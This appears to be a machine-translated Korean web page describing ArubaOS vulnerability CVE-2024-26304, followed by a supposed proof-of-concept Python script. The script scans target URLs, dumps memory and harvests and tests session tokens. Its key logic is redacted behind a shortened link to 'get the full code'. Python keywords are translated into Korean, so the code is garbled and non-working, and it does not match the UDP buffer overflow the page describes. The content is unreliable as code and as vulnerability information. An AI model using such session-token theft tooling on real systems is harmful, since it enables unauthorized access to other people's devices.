아루바OS 원격 코드 실행 취약성(CVE-2024-26304)
설명
기본 L2/L3 관리 서비스에 버퍼 오버플로 취약점이 존재하며, 이 취약점은 PAPI(아루바 액세스 포인트 관리 프로토콜) UDP 포트(8211)로 향하는 특수하게 조작된 패킷을 전송하여 인증되지 않은 원격 코드 실행으로 이어질 수 있습니다. 이 취약점을 성공적으로 익스플로잇하면 기본 운영 체제에서 권한 있는 사용자로 임의의 코드를 실행할 수 있습니다.
poc
import re
가져오기 시스템
헥스덤프 가져오기
argparse 가져오기
가져오기 요청에서 리치 콘솔 가져오기 콘솔
urllib.parse에서 urlparse를 가져옵니다.
alive_progress에서 alive_bar 가져오기
가져오기 목록, 튜플, 옵션, 텍스트IO를 입력하는 것에서
concurrent.futures에서 스레드풀실행자, as_완료 가져오기경고 = requests.packages.urllib3
warnings.disable_warnings(warnings.exceptions.InsecureRequestWarning)클래스 ArubaRCE.
def __init__(self).
self.console = 콘솔()
self.parser = argparse.ArgumentParser(description='ArubaRCE')
self.setup_arguments()
self.results: List[Tuple[str, str]] = []
self.output_파일: Optional[TextIO] = None
if self.args.output.
self.output_file = open(self.args.output, 'w')def setup_arguments(self) -> None.
self.parser.add_argument('-u', '-url', help='ArubaRCE /. 게이트웨이 대상(예: https://192.168.1.200)')
self.parser.add_argument('-f', '-file', help='파일이 포함된 대상 URL 목록(한 줄당 하나의 URL)')
self.parser.add_argument('-o', '-output', help='저장할 파일 출력 결과')
self.parser.add_argument('-v', '-verbose', action='store_' true', help='상세 모드 활성화')
self.parser.add_argument('-only-valid', action='store_true', help=' '유효한 세션이 있는 결과만 표시')
self.args = self.parser.parse_args()def print_results(self, header: str, result: str) -> None.
self.args.only_valid 및 "[+]"가 헤더에 없는 경우.
반환형식화된_msg = f"{헤더} {결과}"
self.console.print(formatted_msg, style="white")
if self.output_file.
self.output_file.write(result + '\n')def normalize_url(self, url: str) -> str.
url.startswith("http://")가 아니고 url.startswith("https://")가 아닌 경우::
url = f "https://{url}"parsed_url = urlparse(url)
normalised_url = f"{parsed_url.scheme}://{parsed_url.netloc}"
반환 정규화_URLdef dump_memory(self, url: str) -> None.
full_url = self.normalise_url(url)
헤더 = {
# [삭제됨. 여기에서 전체 코드 받기 https://t.ly/C1-D1]
인쇄("헤더:", 헤더)
}시도해 보세요.
r = requests.get(
f"{full_url}/oauth/redacted", # [REDACTED. 여기에서 전체 코드 보기 https://t.ly/C1-D1]
헤더=헤더,
verify=False,
timeout=10
)
content_bytes = r.contentr.status_code == 200 및 content_bytes.
# [삭제됨. 여기에서 전체 코드 받기 https://t.ly/C1-D1]
print("콘텐츠 바이트:", content_bytes)예외는 e로 제외합니다.
인쇄("오류:", e)def clean_bytes(self, data: 바이트) -> 바이트.
# [삭제됨. 여기에서 전체 코드 받기 https://t.ly/C1-D1]
인쇄("바이트 정리...")def find_session_tokens(self, content_bytes: 바이트) -> List[str].
# [삭제됨. 여기에서 전체 코드 받기 https://t.ly/C1-D1]
print("세션 토큰 찾기...")def test_session_cookie(self, url: str, session_token: str) -> bool.
헤더 = {
"쿠키": f"[REDACTED. 여기에서 전체 코드 보기 https://t.ly/C1-D1]={세션_토큰}"
}
시도해 보세요.
r = requests.post(
# [삭제됨. 여기에서 전체 코드 받기 https://t.ly/C1-D1]
)
# [삭제됨. 여기에서 전체 코드 받기 https://t.ly/C1-D1]
인쇄("세션 쿠키 테스트 결과:", 결과)
결과 반환예외는 e로 제외합니다.
인쇄("오류:", e)
반환 거짓def run(self) -> None.
if self.args.url.
# [삭제됨. 여기에서 전체 코드 받기 https://t.ly/C1-D1]
헤더의 경우, 결과는 self.results가 됩니다:
self.print_results(header, result)
elif self.args.file.
# [삭제됨. 여기에서 전체 코드 받기 https://t.ly/C1-D1]
파일 처리를 위한 코드 실행을 위한 # 플레이스홀더 전달
else.
self.console.print("[굵게 빨간색][-][/굵은 빨간색] URL 또는 파일을 제공해야 합니다.", style="white")
sys.exit(1)if self.output_file.
self.output_file.close()if __name__ == "__main__".
getRCE = ArubaRCE()
getRCE.run()
취약성의 출처